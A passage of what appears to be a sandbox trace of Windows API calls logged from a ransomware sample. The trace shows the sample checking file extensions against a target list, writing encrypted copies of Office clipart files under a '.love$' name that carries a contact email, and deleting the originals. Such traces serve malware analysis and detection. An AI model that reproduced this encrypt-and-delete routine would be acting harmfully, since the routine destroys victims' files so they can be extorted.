(lpString=".dbf") returned 4 [0244.921] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0244.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 68 [0244.921] lstrlenW (lpString=".1cd") returned 4 [0244.921] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0244.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 68 [0244.921] lstrlenW (lpString=".jpg") returned 4 [0244.921] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0244.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 68 [0244.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 68 [0244.921] lstrlenW (lpString=".doc") returned 4 [0244.921] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0244.921] lstrlenW (lpString=".docx") returned 5 [0244.921] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0244.921] lstrlenW (lpString=".pdf") returned 4 [0244.922] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0244.922] lstrlenW (lpString=".xls") returned 4 [0244.922] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0244.922] lstrlenW (lpString=".xlsx") returned 5 [0244.922] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0244.922] lstrlenW (lpString=".ppt") returned 4 [0244.922] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0244.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 68 [0244.922] lstrlenW (lpString=".zip") returned 4 [0244.922] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0244.922] lstrlenW (lpString=".rar") returned 4 [0244.922] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0244.922] lstrlenW (lpString=".bz2") returned 4 [0244.922] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0244.922] lstrlenW (lpString=".7z") returned 3 [0244.922] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0244.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 68 [0244.922] lstrlenW (lpString=".dbf") returned 4 [0244.922] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0244.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 68 [0244.922] lstrlenW (lpString=".1cd") returned 4 [0244.922] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0244.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 68 [0244.923] lstrlenW (lpString=".jpg") returned 4 [0244.923] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0244.923] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0244.923] lstrlenW (lpString="ED00172_.WMF") returned 12 [0244.923] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00172_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0246.146] GetFileSizeEx (in: hFile=0x418, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=2700) returned 1 [0246.146] CloseHandle (hObject=0x418) returned 1 [0246.146] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00172_.wmf")) returned 0x220 [0246.146] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00172_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0246.147] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00172_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0246.147] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0246.147] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0246.147] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00172_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0246.148] GetLastError () returned 0x0 [0246.148] ReadFile (in: hFile=0x418, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0xa8c, lpOverlapped=0x0) returned 1 [0246.186] WriteFile (in: hFile=0x4c8, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0xa90, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0xa90, lpOverlapped=0x0) returned 1 [0246.187] ReadFile (in: hFile=0x418, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1 [0246.188] WriteFile (in: hFile=0x4c8, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1 [0246.188] SetEndOfFile (hFile=0x4c8) returned 1 [0246.188] CloseHandle (hObject=0x4c8) returned 1 [0246.188] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0246.188] SetEndOfFile (hFile=0x418) returned 1 [0246.191] CloseHandle (hObject=0x418) returned 1 [0246.192] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0246.192] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00172_.wmf")) returned 1 [0246.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 68 [0246.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 68 [0246.193] lstrlenW (lpString=".doc") returned 4 [0246.193] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0246.193] lstrlenW (lpString=".docx") returned 5 [0246.193] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0246.193] lstrlenW (lpString=".pdf") returned 4 [0246.193] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0246.193] lstrlenW (lpString=".xls") returned 4 [0246.194] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0246.194] lstrlenW (lpString=".xlsx") returned 5 [0246.194] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0246.194] lstrlenW (lpString=".ppt") returned 4 [0246.194] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0246.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 68 [0246.194] lstrlenW (lpString=".zip") returned 4 [0246.194] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0246.194] lstrlenW (lpString=".rar") returned 4 [0246.194] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0246.194] lstrlenW (lpString=".bz2") returned 4 [0246.194] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0246.194] lstrlenW (lpString=".7z") returned 3 [0246.194] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0246.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 68 [0246.194] lstrlenW (lpString=".dbf") returned 4 [0246.194] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0246.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 68 [0246.194] lstrlenW (lpString=".1cd") returned 4 [0246.194] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0246.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 68 [0246.194] lstrlenW (lpString=".jpg") returned 4 [0246.194] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0246.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 68 [0246.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 68 [0246.194] lstrlenW (lpString=".doc") returned 4 [0246.194] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0246.195] lstrlenW (lpString=".docx") returned 5 [0246.195] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0246.195] lstrlenW (lpString=".pdf") returned 4 [0246.195] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0246.195] lstrlenW (lpString=".xls") returned 4 [0246.195] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0246.195] lstrlenW (lpString=".xlsx") returned 5 [0246.195] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0246.195] lstrlenW (lpString=".ppt") returned 4 [0246.195] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0246.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 68 [0246.195] lstrlenW (lpString=".zip") returned 4 [0246.195] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0246.195] lstrlenW (lpString=".rar") returned 4 [0246.195] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0246.195] lstrlenW (lpString=".bz2") returned 4 [0246.195] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0246.195] lstrlenW (lpString=".7z") returned 3 [0246.195] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0246.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 68 [0246.195] lstrlenW (lpString=".dbf") returned 4 [0246.195] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0246.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 68 [0246.195] lstrlenW (lpString=".1cd") returned 4 [0246.195] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0246.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 68 [0246.195] lstrlenW (lpString=".jpg") returned 4 [0246.195] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0246.196] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0246.196] lstrlenW (lpString="EN00242_.WMF") returned 12 [0246.196] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00242_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0246.197] GetFileSizeEx (in: hFile=0x418, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=6780) returned 1 [0246.197] CloseHandle (hObject=0x418) returned 1 [0246.197] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00242_.wmf")) returned 0x220 [0246.197] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00242_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0246.197] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00242_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0246.198] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0246.198] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0246.198] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00242_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0246.199] GetLastError () returned 0x0 [0246.199] ReadFile (in: hFile=0x418, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x1a7c, lpOverlapped=0x0) returned 1 [0246.210] WriteFile (in: hFile=0x4c8, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0x1a80, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0x1a80, lpOverlapped=0x0) returned 1 [0246.211] ReadFile (in: hFile=0x418, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1 [0246.211] WriteFile (in: hFile=0x4c8, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1 [0246.212] SetEndOfFile (hFile=0x4c8) returned 1 [0247.091] CloseHandle (hObject=0x4c8) returned 1 [0247.091] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0247.091] SetEndOfFile (hFile=0x418) returned 1 [0247.095] CloseHandle (hObject=0x418) returned 1 [0247.096] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0247.096] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00242_.wmf")) returned 1 [0247.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 68 [0247.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 68 [0247.097] lstrlenW (lpString=".doc") returned 4 [0247.097] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0247.097] lstrlenW (lpString=".docx") returned 5 [0247.097] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0247.097] lstrlenW (lpString=".pdf") returned 4 [0247.097] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0247.097] lstrlenW (lpString=".xls") returned 4 [0247.097] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0247.097] lstrlenW (lpString=".xlsx") returned 5 [0247.097] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0247.097] lstrlenW (lpString=".ppt") returned 4 [0247.097] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0247.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 68 [0247.097] lstrlenW (lpString=".zip") returned 4 [0247.097] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0247.097] lstrlenW (lpString=".rar") returned 4 [0247.097] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0247.097] lstrlenW (lpString=".bz2") returned 4 [0247.097] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0247.097] lstrlenW (lpString=".7z") returned 3 [0247.098] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0247.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 68 [0247.098] lstrlenW (lpString=".dbf") returned 4 [0247.098] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0247.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 68 [0247.098] lstrlenW (lpString=".1cd") returned 4 [0247.098] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0247.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 68 [0247.098] lstrlenW (lpString=".jpg") returned 4 [0247.098] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0247.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 68 [0247.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 68 [0247.098] lstrlenW (lpString=".doc") returned 4 [0247.098] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0247.098] lstrlenW (lpString=".docx") returned 5 [0247.098] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0247.098] lstrlenW (lpString=".pdf") returned 4 [0247.098] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0247.098] lstrlenW (lpString=".xls") returned 4 [0247.098] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0247.098] lstrlenW (lpString=".xlsx") returned 5 [0247.098] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0247.098] lstrlenW (lpString=".ppt") returned 4 [0247.098] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0247.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 68 [0247.098] lstrlenW (lpString=".zip") returned 4 [0247.098] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0247.098] lstrlenW (lpString=".rar") returned 4 [0247.098] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0247.098] lstrlenW (lpString=".bz2") returned 4 [0247.098] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0247.098] lstrlenW (lpString=".7z") returned 3 [0247.098] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0247.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 68 [0247.098] lstrlenW (lpString=".dbf") returned 4 [0247.099] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0247.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 68 [0247.099] lstrlenW (lpString=".1cd") returned 4 [0247.099] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0247.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 68 [0247.099] lstrlenW (lpString=".jpg") returned 4 [0247.099] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0247.099] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0247.099] lstrlenW (lpString="EN00320_.WMF") returned 12 [0247.099] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00320_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0247.100] GetFileSizeEx (in: hFile=0x418, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=736) returned 1 [0247.100] CloseHandle (hObject=0x418) returned 1 [0247.101] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00320_.wmf")) returned 0x220 [0247.101] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00320_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0247.101] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00320_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0247.101] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0247.101] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0247.101] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00320_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0247.102] GetLastError () returned 0x0 [0247.102] ReadFile (in: hFile=0x418, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x2e0, lpOverlapped=0x0) returned 1 [0247.145] WriteFile (in: hFile=0x4c8, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0x2f0, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0x2f0, lpOverlapped=0x0) returned 1 [0247.146] ReadFile (in: hFile=0x418, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1 [0247.146] WriteFile (in: hFile=0x4c8, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1 [0247.146] SetEndOfFile (hFile=0x4c8) returned 1 [0247.146] CloseHandle (hObject=0x4c8) returned 1 [0247.147] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0247.147] SetEndOfFile (hFile=0x418) returned 1 [0247.154] CloseHandle (hObject=0x418) returned 1 [0247.154] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0247.155] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00320_.wmf")) returned 1 [0247.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 68 [0247.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 68 [0247.156] lstrlenW (lpString=".doc") returned 4 [0247.156] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0247.156] lstrlenW (lpString=".docx") returned 5 [0247.156] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0247.156] lstrlenW (lpString=".pdf") returned 4 [0247.156] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0247.156] lstrlenW (lpString=".xls") returned 4 [0247.156] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0247.156] lstrlenW (lpString=".xlsx") returned 5 [0247.156] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0247.156] lstrlenW (lpString=".ppt") returned 4 [0247.156] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0247.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 68 [0247.156] lstrlenW (lpString=".zip") returned 4 [0247.156] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0247.156] lstrlenW (lpString=".rar") returned 4 [0247.156] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0247.156] lstrlenW (lpString=".bz2") returned 4 [0247.156] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0247.156] lstrlenW (lpString=".7z") returned 3 [0247.156] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0247.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 68 [0247.156] lstrlenW (lpString=".dbf") returned 4 [0247.156] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0247.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 68 [0247.156] lstrlenW (lpString=".1cd") returned 4 [0247.156] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0247.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 68 [0247.156] lstrlenW (lpString=".jpg") returned 4 [0247.156] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned 